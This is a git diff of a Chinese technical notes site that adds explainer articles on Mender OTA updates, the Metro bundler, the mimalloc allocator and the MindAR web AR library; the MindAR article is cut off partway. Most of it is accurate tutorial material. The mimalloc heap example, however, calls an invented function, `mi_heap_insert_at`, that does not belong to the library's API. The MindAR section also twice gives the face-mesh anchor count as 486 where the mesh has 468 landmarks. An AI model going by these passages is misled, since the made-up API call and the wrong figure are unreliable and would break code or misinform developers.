+字符串标识硬件/镜像系列，例如 `raspberrypi4`、`qemu-x86-64`。设备上写在 `/var/lib/mender/device_type`；Artifact 用 `-t` / `-c` 声明兼容类型。**类型不一致则不会下发**，避免把 ARM 镜像推给 x86。
+
+### 3. A/B Rootfs 与 Commit/Rollback
+
+1. Client 把新 rootfs 写入 **inactive** 分区；
+2. 校验 checksum，设置 bootloader 下次从 B 启动，**reboot**；
+3. 新系统起来后，Client 向 Server **上报成功** 并执行 **commit**（持久化启动分区）；
+4. 若在 commit 前再次 reboot 或上报失败 → **自动回滚** 到旧分区。
+
+因此 **rootfs 应无状态**：`/etc` 里改的配置、业务数据应放 **独立 data 分区**，否则整盘更新会被覆盖。
+
+### 4. Managed vs Standalone
+
+| 模式 | 行为 | 适用 |
+| --- | --- | --- |
+| **Managed** | `mender` 守护进程连 Server，自动 poll、下载、安装、重启、commit | 大规模 fleet、云端/自建 Server |
+| **Standalone** | 本地 CLI 或 USB 触发更新，不连 Server | 工厂产线、离线现场、调试 |
+
+内网设备可通过 **Mender Gateway** 代理出站，仍用 managed 模式。
+
+### 5. Update Module（应用更新）
+
+OS 更新适合动 kernel、glibc、系统库；应用更新（单个二进制、配置目录、容器栈）走 **Update Module** 插件框架。官方与社区提供 `single-file`、`dir-install`、`docker-compose` 等模块。
+
+### 6. meta-mender 与构建集成
+
+嵌入式团队多在 **Yocto Project** 里加 `meta-mender-core`（及 `meta-mender-raspberrypi` 等 BSP layer），在镜像阶段就配好分区表、U-Boot/GRUB env、`mender.conf`。Buildroot 也有 `BR2_PACKAGE_MENDER` 与 host `mender-artifact` 集成。
+
+---
+
+## 代码示例
+
+### 示例 1：用 `mender-artifact` 打包 rootfs 镜像
+
+假设 CI 已产出 `rootfs.ext4`（且该 rootfs 在构建时已集成 Mender Client 与 A/B 布局）：
+
+```bash
+# 安装工具（macOS 示例；Linux 可从 GitHub Releases 下载）
+# brew install mendersoftware/tap/mender-artifact
+
+mender-artifact write rootfs-image \
+  -t raspberrypi4 \
+  -n release-2026.06.13 \
+  --software-version 1.2.0 \
+  -f rootfs.ext4 \
+  -o deploy/release-1.2.0.mender
+```
+
+**参数说明**：
+
+- `-t raspberrypi4`：仅匹配 `device_type` 为 `raspberrypi4` 的设备；
+- `-n release-2026.06.13`：Artifact 名称，需与 rootfs 内 `/etc/mender/artifact_info` 策略一致；
+- `--software-version 1.2.0`：上报给 Server 的版本号，便于仪表盘对比；
+- `-f rootfs.ext4`：整分区镜像 payload；
+- `-o …mender`：输出 Artifact，上传到 Mender Server 后即可创建 deployment。
+
+查看已有 Artifact 元数据：
+
+```bash
+mender-artifact read deploy/release-1.2.0.mender
+# 输出 Compatible devices、Updates 类型、文件大小等
+```
+
+### 示例 2：设备端 `mender.conf`（Managed 模式连 Hosted Mender）
+
+设备上主配置通常在 `/etc/mender/mender.conf`（路径因发行版略有差异）：
+
+```json
+{
+  "InventoryPollIntervalSeconds": 300,
+  "RetryPollIntervalSeconds": 30,
+  "ServerURL": "https://hosted.mender.io",
+  "TenantToken": "YOUR_TENANT_TOKEN_FROM_SERVER_UI",
+  "UpdatePollIntervalSeconds": 1800,
+  "ServerCertificate": "/etc/ssl/certs/ca-certificates.crt"
+}
+```
+
+**要点**：
+
+- **TenantToken**：把设备「认领」到你的租户；自建 Server 则改为你的 `ServerURL` 并使用设备认证证书；
+- **Poll 间隔**：Client 仅 **出站 HTTPS**，不监听公网端口；
+- 首次启动或 provisioning 后，设备出现在 Server UI，可划入 **静态/动态分组**，再对分组创建 **deployment**。
+
+Standalone 本地试更新（不连 Server，适合产线）：
+
+```bash
+# 将 Artifact 拷到设备，例如 /var/mender/storage/
+mender install /var/mender/storage/release-1.2.0.mender
+reboot
+# 确认系统正常后
+mender commit
+# 若异常则： mender rollback  （或再次 reboot 触发未 commit 回滚）
+```
+
+### 示例 3：Yocto 中声明 Device Type 与 Artifact 名
+
+在 `local.conf` 或 machine 配置里（简化摘录）：
+
+```bitbake
+# 与 mender-artifact -t 保持一致
+MENDER_DEVICE_TYPES_COMPATIBLE = "raspberrypi4"
+
+# 部署到 Server 时显示的 Artifact / 软件版本
+MENDER_ARTIFACT_NAME = "release-${DISTRO_VERSION}"
+MENDER_ARTIFACT_EXTRA_ARGS = "--software-version ${DISTRO_VERSION}"
+
+# 存储布局：A/B rootfs + data 分区大小等
+MENDER_STORAGE_TOTAL_SIZE_MB = "4096"
+MENDER_DATA_PART_SIZE_MB = "512"
+```
+
+BitBake 构建完成后，`tmp/deploy/images/<machine>/` 下会生成 **`.mender` Artifact** 与可烧录 SD 镜像；这与示例 1 的 CLI 打包是同一格式，只是自动化在 Yocto `mender-artifactimg` class 里完成。
+
+### 示例 4：单文件应用更新（Update Module）
+
+只更新 `/home/user/.ssh/authorized_keys` 而不动整盘 rootfs：
+
+```bash
+./single-file-artifact-gen \
+  --device-type raspberrypi4 \
+  -o authorized-keys-1.1.mender \
+  -n updated-authorized_keys-1.1 \
+  --software-name authorized_keys \
+  --software-version 1.1 \
+  --dest-dir /home/user/.ssh \
+  authorized_keys
+```
+
+Server 下发后，Client 调用 **single-file** Update Module 写入目标路径；适合配置、脚本、小型二进制的高频迭代，与 rootfs 大版本更新配合使用。
+
+---
+
+## 一次 Managed 部署的生命周期
+
+```
+开发者 push 新 rootfs
+    → CI 运行 mender-artifact write …
+    → 上传 *.mender 到 Mender Server
+    → 在 UI 创建 Deployment（目标：分组 "field-test"）
+    → 设备 Client poll 到 pending update
+    → 下载 Artifact → 写入 inactive 分区 → reboot
+    → 新系统启动 → Client 连 Server 上报 success → commit
+    → Server 显示该设备 software version = 1.2.0
+```
+
+若 **下载中断**：下次 poll 续传或重试。若 **刷写后无法 boot**：bootloader 切回旧分区。若 **能 boot 但应用崩溃**：在 commit 前 reboot 仍会回滚——因此自动化测试常放在 **canary 分组**，commit 前人工或脚本验收。
+
+---
+
+## 与相近方案对比
+
+| 维度 | Mender | OSTree / rpm-ostree | 容器/Balena 类 |
+| --- | --- | --- | --- |
+| 更新单元 | 整 rootfs 镜像为主 | 原子包/层 | 容器镜像 |
+| 回滚 | A/B 硬件分区 | 引用切换 | 容器版本回退 |
+| 开源 Server | 是（微服务自建） | 视发行版 | 多为商业云 |
+| 典型集成 | Yocto meta-mender | Fedora IoT 等 | Dockerfile 栈 |
+| 内核/驱动升级 | 自然支持（整镜像） | 支持 | 需 host OS 配合 |
+
+Mender 还支持与 **AWS IoT Core**、**Azure IoT Hub** 等集成，便于已有云 IoT 管线的团队接入。
+
+---
+
+## 上手路径（零基础）
+
+1. **读文档**：[docs.mender.io](https://docs.mender.io/) — Introduction → Get started（QEMU 虚拟设备最快）。
+2. **Hosted Mender 试用**：注册租户，拿 TenantToken，跑官方 Docker 虚拟设备镜像体验 UI 下发。
+3. **真实硬件**：Raspberry Pi + `meta-mender-raspberrypi` 构建带 Mender 的 SD 镜像。
+4. **产线/离线**：练熟 `mender install` + `commit`/`rollback` standalone 流程。
+5. **生产**：自建 Server（Docker Compose 或 Kubernetes）、Artifact 签名（`-k private.key`）、分阶段部署与监控 Add-on。
+
+---
+
+## 常见坑
+
+| 现象 | 原因 | 建议 |
+| --- | --- | --- |
+| Deployment 一直 pending | device type 不匹配 | 核对 `/var/lib/mender/device_type` 与 Artifact `-t` |
+| 更新后配置丢失 | 配置写在 rootfs | 迁到 data 分区或 `/etc/mender/mender.conf.d` 外置 |
+| 无法 commit 反复回滚 | 新镜像缺 Client 或 bootloader 集成错误 | 用官方 meta-mender 模板构建，勿手搓分区 |
+| Artifact 过大 | 全量 rootfs | 启用 **delta updates**（Mender 支持差分包） |
+| 内网无法出网 | 无直连 Server | 部署 **Mender Gateway** |
+
+---
+
+## 小结
+
+Mender 把嵌入式 OTA 拆成清晰三层：**构建侧** 产出标准 Artifact，**Server** 管 fleet 与部署策略，**Client** 在设备上完成 A/B 原子切换与 commit/rollback。对零基础学习者，先建立「双分区换系统 + 塔台调度」的心智模型，再用 QEMU 或树莓派走通一条 **artifact write → upload → deploy → commit** 链路，比死记 API 更有效。
+
+---
+
+## 延伸阅读
+
+- 官方仓库：[mendersoftware/mender](https://github.com/mendersoftware/mender)（Client）；Server 为多 repo 微服务
+- 文档：[How Mender works](https://mender.io/engineers/how-mender-works)
+- Yocto layer：[meta-mender](https://github.com/mendersoftware/meta-mender)
+- 同领域笔记：[[esphome]]（MCU 级 OTA）、[[zephyr]]（RTOS 侧 DFU）、[[buildroot]] / [[ansible]]（构建与配置管理）
diff --git a/src/content/docs/projects/metro.md b/src/content/docs/projects/metro.md
new file mode 100644
index 000000000..bc6f7b7b2
--- /dev/null
+++ b/src/content/docs/projects/metro.md
@@ -0,0 +1,240 @@
+---
+title: Metro — React Native 的 JavaScript 打包器
+来源: https://github.com/facebook/metro
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Metro** 是 Meta（Facebook）为 **React Native** 打造的开源 JavaScript 打包器（bundler）。它把分散在工程里的 `.js` / `.ts` / `.tsx`、图片、字体等资源，沿着 `import` / `require` 关系递归收集，**编译、合并、序列化**成手机 App 或开发服务器能加载的单个（或少量）bundle。
+
+日常类比：Metro 像一家**地铁调度中心**（名字 Metro 即「地铁」）——
+
+- 每个源文件是一个**站点**；
+- `import` 是**线路**；
+- Resolver（解析器）负责查时刻表、决定列车走哪条线；
+- Transformer（转换器）在站台把乘客（源码）翻译成统一格式（Babel 转译后的 JS）；
+- Serializer（序列化器）把整条线路上的车厢**编组**成一列完整列车（bundle）；
+- Dev Server 在开发时**按需发车**：你改一个文件，只重新编组受影响的那几节车厢（增量构建），而不是每次整列重造。
+
+React Native 从第一天起就用 Metro；Expo、`npx react-native start`、EAS Build 底层都是它。官方文档：[metrobundler.dev](https://metrobundler.dev/)，源码：[facebook/metro](https://github.com/facebook/metro)。
+
+## 为什么重要
+
+不理解 Metro，下面这些 RN / 移动端前端现象就说不清：
+
+- **为什么 `npx react-native start` 默认监听 8081**——Metro dev server 的默认端口
+- **为什么改 `.tsx` 能秒级热更新，改 `metro.config.js` 却要重启**——配置在 bundler 启动时加载，模块图缓存与 watcher 绑定在旧配置上
+- **为什么可以写 `import icon from './icon.png'`**——Metro 把 PNG 当 asset 模块处理，运行时返回 `require` 解析后的资源 ID
+- **为什么同一份代码能 `import './foo.ios.js'` 和 `import './foo.android.js'`**——平台扩展（platform extensions）由 Resolver 按 `platform` 参数选文件
+- **为什么 Hermes 的 `.hbc` 字节码是在 Metro bundle 之后生成的**——Metro 产出 JS bundle，Hermes 编译器在原生构建阶段再把它变成字节码
+
+## 核心概念
+
+Metro 的配置与流水线围绕五个子系统组织（见官方 Configuration 文档）：
+
+```
+入口 (entry)
+    │
+    ▼
+┌───────────┐    模块名 → 绝对路径
+│  Resolver │    处理 node_modules、别名、平台扩展、资源
+└─────┬─────┘
+      ▼
+┌─────────────┐  Babel / TS / 自定义 transformer
+│ Transformer │
+└─────┬───────┘
+      ▼
+┌─────────────┐  依赖图 → 单个 JS 字符串 + source map
+│ Serializer  │
+└─────┬───────┘
+      ▼
+┌─────────────┐  HTTP 提供 bundle；HMR / Fast Refresh
+│   Server    │  默认开发端口 8081
+└─────────────┘
+```
+
+### 1. Resolver（模块解析）
+
+给定 `import X from 'moduleName'`，Resolver 回答：**磁盘上的哪个文件**对应这个模块？
+
+默认规则（`metro-resolver`）大致包括：
+
+- **相对路径** `./foo`、`../bar` → 按目录查找
+- **node_modules** → 读 `package.json` 的 `main` / `browser` / `react-native` 字段（RN 默认 `resolverMainFields: ['react-native', 'browser', 'main']`）
+- **平台扩展**：存在 `Button.ios.js` 与 `Button.android.js` 时，打 iOS bundle 选前者
+- **资源扩展**：`.png`、`.jpg` 等列入 `assetExts`，不走 Babel，而是生成 asset 描述符
+- **自定义 `resolveRequest`**：别名、`@/` 路径、重定向到 shim，都挂在这里
+
+### 2. Transformer（转换）
+
+把每个源文件变成 Metro 内部统一的 **JS 模块** 表示。React Native 默认使用 `@react-native/metro-babel-transformer`，底层走 Babel preset（`@react-native/babel-preset`）。
+
+常见选项：
+
+- `inlineRequires: true`（默认）——把 `require` 推迟到函数内执行，缩短启动时同步加载链，改善 TTI
+- `babelTransformerPath`——换成自定义 transformer（例如 SVG 转组件）
+- `getTransformOptions`——按 bundle 类型（dev / prod、平台）动态返回选项
+
+### 3. Serializer（序列化）
+
+把整张**依赖图**摊平成浏览器 / JSC / Hermes 能执行的 **IIFE 模块包裹格式**（类似 webpack 的 module wrapper），并可选生成 source map、插入 polyfill、`getModulesRunBeforeMainModule`（RN 用来先跑 `InitializeCore`）。
+
+### 4. Server 与增量构建
+
+开发模式下 Metro **不**每次全量打包整个 `node_modules`。它维护依赖图缓存，配合 Watchman（或 Node watcher）监听文件变更，只重新 transform 受影响的模块——这是 RN 开发体验「改代码几秒内见效果」的基础。配合 **Fast Refresh**，React 组件状态在多数编辑场景下得以保留。
+
+### 5. 配置文件优先级
+
+Metro 读取配置的优先级（高到低）：
+
+1. `metro.config.js`
+2. `metro.config.json`
+3. `package.json` 里的 `"metro"` 字段
+
+React Native 项目应 **extend** `@react-native/metro-config`（Expo 用 `expo/metro-config`），否则缺少 RN 必需的 serializer / transformer 默认值。
+
+## 实践案例
+
+### 案例 1：标准 `metro.config.js`（合并默认配置）
+
+这是 RN 模板工程最常见的写法：拿默认配置，再覆盖自己关心的字段。
+
+```javascript
+// metro.config.js
+const { getDefaultConfig, mergeConfig } = require('@react-native/metro-config');
+
+/** @type {import('metro-config').MetroConfig} */
+const config = {
+  resolver: {
+    // 让 Metro 把 .svg 当源码用 SVGR 处理，而不是当静态资源
+    assetExts: getDefaultConfig(__dirname).resolver.assetExts.filter(
+      (ext) => ext !== 'svg',
+    ),
+    sourceExts: [...getDefaultConfig(__dirname).resolver.sourceExts, 'svg'],
+  },
+  transformer: {
+    babelTransformerPath: require.resolve('react-native-svg-transformer'),
+  },
+};
+
+module.exports = mergeConfig(getDefaultConfig(__dirname), config);
+```
+
+要点：
+
+- `getDefaultConfig(__dirname)` 带上 RN 的 `platforms`、`resolverMainFields`、`inlineRequires` 等关键默认项
+- `mergeConfig` 做深合并，避免手写时漏掉 `serializer.getPolyfills` 之类隐形依赖
+- 改 `assetExts` / `sourceExts` 后需**重启** dev server
+
+### 案例 2：自定义 Resolver 做路径别名
+
+Monorepo 里常把 `@app` 指到 `src/`，或在 web 平台把 `react-native` 指到 `react-native-web`。Metro 推荐在 **`resolveRequest`** 里做，而不是只靠 Babel 插件——这样依赖图、HMR、预构建缓存与解析结果一致。
+
+```javascript
+// metro.config.js
+const path = require('path');
+const { getDefaultConfig, mergeConfig } = require('@react-native/metro-config');
+
+const ALIASES = {
+  '@app': path.resolve(__dirname, 'src'),
+};
+
+const defaultConfig = getDefaultConfig(__dirname);
+
+const config = {
+  watchFolders: [path.resolve(__dirname, '..')], // monorepo 根，让 Metro 能 watch 兄弟包
+  resolver: {
+    resolveRequest: (context, moduleName, platform) => {
+      if (moduleName.startsWith('@app/')) {
+        const filePath = path.join(
+          ALIASES['@app'],
+          moduleName.replace('@app/', ''),
+        );
+        return context.resolveRequest(
+          context,
+          filePath,
+          platform,
+        );
+      }
+      // 必须回退到默认 resolver，否则 node_modules 解析会断
+      return context.resolveRequest(context, moduleName, platform);
+    },
+  },
+};
+
+module.exports = mergeConfig(defaultConfig, config);
+```
+
+Expo 文档补充：若项目有 `tsconfig.json` 的 `paths`，`expo/metro-config` 可自动映射；纯 RN 则需手写或借助社区方案。别名逻辑变更后**重启 server** 即可，一般不必 `--reset-cache`（与纯 Babel alias 不同）。
+
+### 案例 3：CLI 离线打 production bundle
+
+不启动 dev server，直接把入口打成文件——CI、调试 bundle 体积时常用：
+
+```bash
+# 为 Android 打生产包，输出 bundle + source map
+npx metro build index.js \
+  --platform android \
+  --dev false \
+  --minify true \
+  --out android-release.bundle \
+  --source-map
+
+# 列出某入口会打进 bundle 的全部依赖（排查意外 import 很有用）
+npx metro get-dependencies index.js --platform ios
+```
+
+在 RN 工程里，Release 构建通常由 Gradle / Xcode 脚本调用 Metro，参数与上述类似，并可能链接 Hermes 编译步骤。
+
+## Metro vs Webpack / Vite
+
+| 维度 | Metro | Webpack | Vite |
+|------|-------|---------|------|
+| 主战场 | React Native、Expo | 通用 Web、历史 RN | 现代 Web |
+| 模块格式 | CommonJS 风格 wrapper + RN 约定 | ESM/CJS 均可 | 原生 ESM dev |
+| 多平台 | 一等公民（`platform` 参数） | 需额外配置 | 主要针对 Web |
+| 资源 | `assetExts` + 多倍图 `@2x` | loader / asset modules | 内置静态资源 |
+| 默认 HMR | Fast Refresh（RN） | HMR 插件 | 原生 ESM HMR |
+
+Metro **不追求**成为通用 Web 打包器的超集；它的优化假设是：移动 App、单入口、平台分叉、与 Hermes/JSC 配合、dev server 与真机/模拟器协同。
+
+## 常见问题与排错
+
+**白屏 / Unable to resolve module**
+
+- 检查包是否在 `watchFolders` 覆盖范围内（monorepo）
+- 新加了原生不认识的扩展？补 `sourceExts` 或 `assetExts`
+- 执行 `npx react-native start --reset-cache` 清 transformer 缓存（比改 resolver 更「重」）
+
+**改配置不生效**
+
+- `metro.config.js` 变更必须重启 Metro；仅改业务源码则不必
+
+**Bundle 体积暴涨**
+
+- 用 `get-dependencies` 看是否误打进大型 dev 依赖
+- 确认 production 构建 `--dev false --minify true`
+- 检查 `inlineRequires` 与是否启用了不必要的 polyfill
+
+**与 Hermes 的关系**
+
+- Metro 输出 **JavaScript bundle**；Release 时 Android Gradle / iOS 构建链再调用 `hermesc` 生成 `.hbc`。调试 Metro 问题时不要和 Hermes 字节码混为一谈——先确认 JS bundle 本身是否正确。
+
+## 学习路径建议
+
+1. 跑起一个最小 RN 或 Expo 项目，`npx react-native start` / `npx expo start`，观察 8081 日志里的 `transform` 与 `bundle` 事件
+2. 读官方 [Configuration](https://metrobundler.dev/docs/configuration/) 与 [Resolution](https://github.com/facebook/metro/blob/main/docs/Resolution.md)，对照 `metro.config.js` 改一项、验证一项
+3. 用 `get-dependencies` 理解「入口文件实际拉进了哪些模块」
+4. 需要 monorepo / SVG / symlinks 时，再深入 `resolveRequest` 与 `watchFolders`
+5. 与 [Hermes](./hermes.md) 笔记连读：Metro 管「怎么打包」，Hermes 管「怎么在手机上更快执行打包结果」
+
+## 参考链接
+
+- 源码与文档：[github.com/facebook/metro](https://github.com/facebook/metro)
+- 配置参考：[metrobundler.dev/docs/configuration](https://metrobundler.dev/docs/configuration/)
+- React Native 集成：[reactnative.dev/docs/metro](https://reactnative.dev/docs/metro)
+- Expo 定制 Metro：[docs.expo.dev/guides/customizing-metro](https://docs.expo.dev/guides/customizing-metro/)
diff --git a/src/content/docs/projects/midscene.md b/src/content/docs/projects/midscene.md
index e836926dc..67d8edf65 100644
--- a/src/content/docs/projects/midscene.md
+++ b/src/content/docs/projects/midscene.md
@@ -163,7 +163,7 @@ flow:
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
-- [[browser-use]] —— browser-use — 让 LLM 用「DOM 索引清单」操作浏览器的 Python agent 框架
+- [[browser-use]] —— browser-use — 用自然语言让 AI Agent 操控浏览器
 - [[claude-code]] —— Claude Code — Anthropic 终端编程助手
 - [[langfuse]] —— Langfuse — LLM 应用可观测性
 - [[nanobrowser]] —— nanobrowser — 把 Chrome 扩展本身当成 AI agent 的运行沙箱
diff --git a/src/content/docs/projects/mimalloc.md b/src/content/docs/projects/mimalloc.md
new file mode 100644
index 000000000..8f63d28b3
--- /dev/null
+++ b/src/content/docs/projects/mimalloc.md
@@ -0,0 +1,210 @@
+---
+title: mimalloc — Microsoft 的小对象分配器
+来源: https://github.com/microsoft/mimalloc
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# mimalloc — Microsoft 的小对象分配器
+
+## 什么是内存分配器？
+
+写 C/C++ 程序时，你一定用过 `malloc` 和 `free`。它们的作用很简单：向操作系统"借"一块内存来用，用完还回去。
+
+但操作系统并不擅长频繁地借还小内存——就像你去银行每次只取 10 块钱，柜员会觉得你很麻烦。所以操作系统会把一大笔钱（比如几 MB）一次性给你，然后你在内部自己分给每个人。
+
+**内存分配器**就是做这件"内部分钱"的事。Linux 默认的叫 glibc malloc，macOS 叫 libmalloc。而 mimalloc 是微软研究院做的一个"分得更聪明"的版本。
+
+## mimalloc 是什么？
+
+mimalloc（读作 "me-malloc"）是微软开源的一个通用内存分配器。它的特点是：
+
+- **快**：在大量基准测试中，性能超过 jemalloc、tcmalloc 等知名分配器
+- **省内存**：元数据开销约 0.2%，内部碎片率低
+- **安全**：可选安全模式，带防护页、加密自由列表
+- **即插即用**：可以完全替代系统默认的 malloc，不需要改代码
+
+它最初是为 Koka 和 Lean 两种编程语言的运行时系统开发的，后来发现性能太好，就开源了。
+
+## 核心概念
+
+### 1. 自由列表分片（Free List Sharding）
+
+传统分配器通常维护一个"大自由列表"——所有空闲内存放在一条链表里。想象一个图书馆只有一张借书记录表，找书就得从头翻到尾。
+
+mimalloc 的做法是：把一张大表拆成很多张小表。每个 64KiB 的"页面"都有自己的自由列表。这样：
+
+- 找空闲块更快（不用遍历整条链表）
+- 时间上接近的分配，地址上也更接近（对 CPU 缓存友好）
+
+### 2. 自由列表多重分片（Free List Multi-Sharding）
+
+这是 mimalloc 最大的创新。每个页面不只有一条自由列表，而是有两条：
+
+- **线程本地列表**：当前线程释放的内存放这里
+- **并发列表**：其他线程释放的内存放这里
+
+这解决了多线程下的竞争问题。想象一个餐厅有 1000 张桌子，每张桌子有自己的收银台。顾客从任何收银台付款都不会排队——因为分散到了上千个收银台，几乎不会碰到竞争。
+
+技术上，这靠的是原子操作（CAS），不需要复杂的锁机制。
+
+### 3. 积极页面清除（Eager Page Purging）
+
+当一个页面变得空闲后，mimalloc 会告诉操作系统："这块物理内存我不用了，你可以给别人。" 这叫 purging。好处是：
+
+- 降低真实内存压力
+- 减少长程序运行时的碎片
+
+### 4. 第一类堆（First-Class Heaps）
+
+mimalloc 允许你创建多个"堆"（heap），每个堆是独立的内存区域。你可以：
+
+- 在不同堆中分配，互不干扰
+- 一次性销毁整个堆，而不是逐个释放对象
+- v3 版本支持从任何线程向同一个堆分配
+
+## 代码示例
+
+### 示例 1：基本使用
+
+最简单的方式是直接调用 `mi_malloc` / `mi_free`，替换原来的 `malloc` / `free`：
+
+```c
+#include <stdio.h>
+#include <mimalloc.h>
+
+int main(void)
+{
+    // 分配 100 个整数
+    int *arr = (int *)mi_malloc(sizeof(int) * 100);
+    if (arr == NULL) {
+        printf("allocation failed\n");
+        return 1;
+    }
+
+    // 正常用
+    for (int i = 0; i < 100; i++) {
+        arr[i] = i * i;
+    }
+
+    printf("arr[10] = %d\n", arr[10]);  // 输出 100
+
+    // 释放
+    mi_free(arr);
+    return 0;
+}
+```
+
+编译方式：
+
+```bash
+gcc -o example example.c -lmimalloc
+```
+
+### 示例 2：零初始化分配 + 环境变量统计
+
+`mi_zalloc` 分配的同时把内存清零（等价于 `malloc` + `memset(0)`，但更快）：
+
+```c
+#include <stdio.h>
+#include <mimalloc.h>
+
+int main(void)
+{
+    // 分配并清零 1000 个 double
+    double *matrix = (double *)mi_zalloc(sizeof(double) * 1000);
+
+    // 所有值都是 0.0，可以直接用
+    printf("matrix[0] = %f\n", matrix[0]);  // 输出 0.000000
+
+    mi_free(matrix);
+    return 0;
+}
+```
+
+运行前设置环境变量，可以看到 mimalloc 的详细统计信息：
+
+```bash
+MIMALLOC_SHOW_STATS=1 ./example
+```
+
+输出类似：
+
+```
+subproc 0
+ blocks          peak       total     current       block      total#
+  bin S    4:    75.3 KiB    55.2 MiB     0          32   B       1.8 M    ok
+
+  binned    :    84.2 KiB    41.5 MiB     0                                ok
+  total     :    84.2 KiB    41.5 MiB     0
+```
+
+这告诉你：峰值用了 84.2 KiB，总共分配过 41.5 MiB，当前剩余 0（都释放了）。
+
+### 示例 3：第一类堆（First-Class Heap）
+
+创建独立的堆，可以在特定场景下批量管理内存：
+
+```c
+#include <stdio.h>
+#include <mimalloc.h>
+
+int main(void)
+{
+    // 创建一个新堆
+    mi_heap_t *heap = mi_heap_new();
+
+    // 在这个堆中分配
+    int *a = (int *)mi_heap_malloc(heap, sizeof(int) * 10);
+    char *b = (char *)mi_heap_malloc(heap, 256);
+
+    mi_heap_insert_at(heap, a, 42);
+    mi_heap_insert_at(heap, b, 99);
+
+    // 一次性销毁整个堆，所有内存一起释放
+    // 比逐个 free 高效得多
+    mi_heap_destroy(heap);
+
+    return 0;
+}
+```
+
+### 示例 4：动态替换系统 malloc
+
+最方便的使用方式——不改一行代码，直接替换整个程序的内存分配器。
+
+在 Linux 上：
+
+```bash
+LD_PRELOAD=/usr/lib/libmimalloc.so myprogram
+```
+
+在 macOS 上：
+
+```bash
+DYLD_INSERT_LIBRARIES=/usr/lib/libmimalloc.dylib myprogram
+```
+
+这样 `myprogram` 里所有的 `malloc` / `free` / `new` / `delete` 都会自动走 mimalloc，不需要重新编译。
+
+## 三种构建模式
+
+| 模式 | 用途 | 性能影响 |
+|------|------|----------|
+| Release（默认） | 生产环境 | 基准 |
+| Debug | 开发调试，带越界检测、统计 | 较慢 |
+| Secure | 安全敏感场景，防护页 + 加密 | ~10% |
+
+## 为什么值得关注？
+
+mimalloc 的设计哲学很朴素：不用复杂的算法，而是用简单一致的数据结构，加上几个巧妙的想法（尤其是自由列表多重分片），就能在所有常见场景下做到又快又省。
+
+它对游戏引擎（Unreal Engine）、数据库（Cosmos DB）、搜索引擎（Bing）等低延迟场景都有很好的效果。如果你在做 C/C++ 项目，或者只是好奇"内存分配器还能这么玩"，mimalloc 值得了解。
+
+## 延伸阅读
+
+- 官方文档：https://microsoft.github.io/mimalloc
+- 设计论文：[mimalloc: Free List Sharding in Action](https://www.microsoft.com/en-us/research/publication/mimalloc-free-list-sharding-in-action)
+- 源码仓库：https://github.com/microsoft/mimalloc
diff --git a/src/content/docs/projects/mind-ar-js.md b/src/content/docs/projects/mind-ar-js.md
new file mode 100644
index 000000000..6c636a327
--- /dev/null
+++ b/src/content/docs/projects/mind-ar-js.md
@@ -0,0 +1,225 @@
+---
+title: MindAR — Web 图像/人脸 AR
+来源: https://github.com/hiukim/mind-ar-js
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+MindAR（[hiukim/mind-ar-js](https://github.com/hiukim/mind-ar-js)）是一套**纯浏览器端**的 Web AR 库，支持 **图像追踪（Image Tracking）** 和 **人脸追踪（Face Tracking）**。底层用 TensorFlow.js 在 WebGL 上跑特征检测与跟踪，上层提供 A-Frame 扩展和 Three.js API，让你用静态 HTML 就能做出「扫海报出 3D 模型」「试戴虚拟眼镜」这类体验。
+
+日常类比：想象你在博物馆看一幅名画，手机摄像头对准画框，画面上「长」出一段讲解动画——MindAR 负责两件事：认出「就是这幅画」（图像追踪），以及把 3D 内容稳稳贴在画上（位姿跟踪）。人脸模式则像短视频滤镜：库持续跟踪鼻尖、额头、耳垂等锚点，你把帽子、眼镜模型挂到对应锚点上，用户转头时配饰跟着动。
+
+和需要安装 App 的 ARKit / ARCore 不同，MindAR **零原生依赖**：一个 `.html` 文件 + CDN 脚本 + 本地静态服务器即可在 Chrome / Safari 移动端跑通。若要做 GPS 定位 AR 或黑白 fiducial 标记追踪，官方建议改用 [AR.js](https://github.com/AR-js-org/AR.js)；MindAR 专注「自然特征」图像与人脸。
+
+```html
+<!-- 最小图像追踪骨架：约 10 行有效 AR 代码 -->
+<a-scene mindar-image="imageTargetSrc: ./targets.mind;" vr-mode-ui="enabled: false">
+  <a-camera position="0 0 0" look-controls="enabled: false"></a-camera>
+  <a-entity mindar-image-target="targetIndex: 0">
+    <a-box color="#4CC3D9" scale="0.5 0.5 0.5"></a-box>
+  </a-entity>
+</a-scene>
+```
+
+## 为什么重要
+
+不了解 MindAR，下面这些事很难在 Web 侧落地：
+
+- **营销/展览扫码互动**：海报、包装盒、门票上的印刷图可直接当「锚点」，无需贴 AR 专用二维码
+- **电商虚拟试戴**：眼镜、帽子、耳环挂到人脸 486 个 landmark 锚点之一，比从零接 MediaPipe + Three.js 省大量胶水代码
+- **与 A-Frame 生态衔接**：已有 WebVR 经验的人，用 `mindar-image-target` / `mindar-face-target` 组件即可扩展 AR，学习曲线平缓
+- **编译期预处理**：目标图特征提取在构建时完成，运行时只加载紧凑的 `.mind` 文件，首屏比现场算特征快得多
+
+## 核心概念
+
+### 1. 两条产品线：Image vs Face
+
+| 模式 | 入口脚本 | 场景属性 | 锚定方式 |
+|------|----------|----------|----------|
+| 图像追踪 | `mindar-image-aframe.prod.js` | `mindar-image="imageTargetSrc: ..."` | `mindar-image-target="targetIndex: N"` |
+| 人脸追踪 | `mindar-face-aframe.prod.js` | `mindar-face` | `mindar-face-target="anchorIndex: N"` |
+
+图像模式：一张印刷图 = 一个 target，`targetIndex` 从 0 起，支持多图同场景。人脸模式：基于 TensorFlow 人脸 mesh，**486 个 anchorIndex**（鼻尖常为 `1`，额头附近 `10`，详见 [mesh_map.jpg](https://github.com/tensorflow/tfjs-models/blob/master/face-landmarks-detection/mesh_map.jpg)）。
+
+### 2. 编译目标图 → `.mind` 文件
+
+图像追踪不能直接把 JPG 丢进运行时——须先用 **Image Targets Compiler**（[在线编译器](https://hiukim.github.io/mind-ar-js-doc/tools/compile) 或 npm 包里的 `Compiler`）扫描图片，提取角点、边缘等 **feature points**，序列化为 `.mind`。
+
+好目标图特征：纹理丰富、对比明显、无大块留白；反面教材是纯色墙或重复条纹。编译完成后可下载可视化图，绿点表示特征分布——点太少或挤在一角会导致识别不稳。
+
+### 3. AR 引擎只做一件事
+
